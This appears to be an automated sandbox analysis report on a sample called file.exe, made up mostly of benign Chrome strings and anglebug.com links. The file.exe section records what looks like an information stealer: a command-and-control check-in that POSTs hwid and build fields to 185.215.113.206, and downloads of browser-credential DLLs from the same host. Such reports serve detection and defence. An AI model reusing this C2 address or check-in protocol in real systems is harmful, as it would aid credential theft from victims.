CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1790455494.000005F400EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790529680.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790289555.000005F400F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 35 32 35 35 39 43 38 43 36 33 37 34 38 31 34 30 37 33 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="hwid"9C52559C8C63748140731------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="build"tale------BKKKFCFIIJJKKFHIEHJK--

Source: file.exe, file.exe, 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php0r
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpFIEGDBKJKFIDHIECG
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpKKKJJJKJKFHJJJJEC
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpenSSH
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phptrI
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllz
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll$
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll(
Source: file.exe, 00000000.00000002.2050496784.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll90
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/XD
Source: file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/nD
Source: file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206GCB
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
